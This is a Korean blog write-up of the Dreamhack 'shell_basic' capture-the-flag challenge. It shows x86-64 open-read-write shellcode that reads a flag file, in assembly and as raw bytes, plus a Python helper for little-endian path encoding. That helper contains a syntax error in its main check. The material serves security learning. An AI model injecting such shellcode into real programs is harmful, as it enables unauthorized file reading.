Shell_basic(dreamhack)

동글래차·2023년 5월 27일
0

pwnable

목록 보기
4/9

문제분석

  • 이미 입력 값을 받아서 실행시켜준다. shellcode만 짜서 넣으면 된다.
  • flag 파일 위치를 읽어와서 출력하면 될 것 같다. (orw shellcode)

Shell_basic 풀이


1.1. python_code 제작

# string -> byte수에 맞게 littleEndian으로 변환 해주는 코드
import binascii
def print_little_endian_8bytes(input_string):
    hex_string = binascii.hexlify(input_string.encode()).decode()
    byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)]
    for i in range(0, len(byte_list), 8):
        bytes_8 = byte_list[i:i+8]
        bytes_8_little_endian = "".join(bytes_8[::-1])
        print(bytes_8_little_endian)
def print_little_endian_4bytes(input_string):
    hex_string = binascii.hexlify(input_string.encode()).decode()
    byte_list = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)]
    for i in range(0, len(byte_list), 4):
        bytes_4 = byte_list[i:i+4]
        bytes_4_little_endian = "".join(bytes_4[::-1])
        print(bytes_4_little_endian)
def main(input_string, input_byte):
    if input_byte == 4:
        print_little_endian_4bytes(input_string)
    elif input_byte == 8:
        print_little_endian_8bytes(input_string)
    else:
        print("NO")
if __name__ = "__main__":
    input_string = input("Enter the text you want to convert: ")
    input_byte = int(input("Enter 4 or 8 bytes you want: "))
    main(input_string, input_byte)
  • Flag 디렉터리 경로를 littleEndian으로 변환해주기 위해 코드를 만들었다.

1.2. shell code 제작

  • flag 경로 넣어주고 syscall에 맞춰서 파라미터 세팅해주면 된다.
section .text
global _start
_start:
    ; syscall Open
    mov    rax, 0x676e6f6f6f6f6f6f
    push   rax
    mov    rax, 0x6c5f73695f656d61
    push   rax
    mov    rax, 0x6e5f67616c662f63
    push   rax
    mov    rax, 0x697361625f6c6c65
    push   rax
    mov    rax, 0x68732f656d6f682f
    push   rax
    mov    rdi, rsp
    mov    rax, 0x02
    xor    rsi, rsi
    xor    rdx, rdx
    syscall
    ; syscall Read
    mov    rdi, rax
    mov    rsi, rsp
    sub    rsi, 0x30
    mov    rdx, 0x30
    mov    rax, 0x0
    syscall
    ; syscall Write
    mov    rdi, 1
    mov    rax, 0x1
    syscall
    ; syscall Exit
    mov    rax, 0x3c
    mov    rdi, 0
    syscall
  • asm code 작성해주고 저번에 만들었던 셸코드 변환 python을
  • nasm 옵션 elf64로 바꿔주고 실행
    • -- shellcode --
      FileName = shellcode/shell_basic
      48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
  • 처음으로 내 힘으로 만들어본 쉘코드라 굉장히 기대가 된다.
  • 안되네..... 에휴...

1.3. 내가 만든 코드 분석

  • run_sh에 bp 걸고 실행
  • push 다하고 나서 확인해보니 쓰레기 값이 딸려서 나오고 있었다
  • 마지막에 NULL값을 안넣어줘서 그런것 같다.

1.4. Null 값 넣어주고 Test

  • null 값을 넣어주고 다시 컴파일 후에 리버싱을 해보았다.
  • 정상적으로 flag 파일 디렉터리만 불러왔다!
    • --- 다시 만든 shellcode ---
      6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
  • 다시 넣어줬지만 또 실패했다.
  • 인터넷을 찾아보니 nc 명령어로 직접 접속해서 하면 안된다고 한다 그래서 만든 shell_basic.bin 파일을 바로 사용했다.

flag 값을 얻어냈다! :)

profile
동글동글

0개의 댓글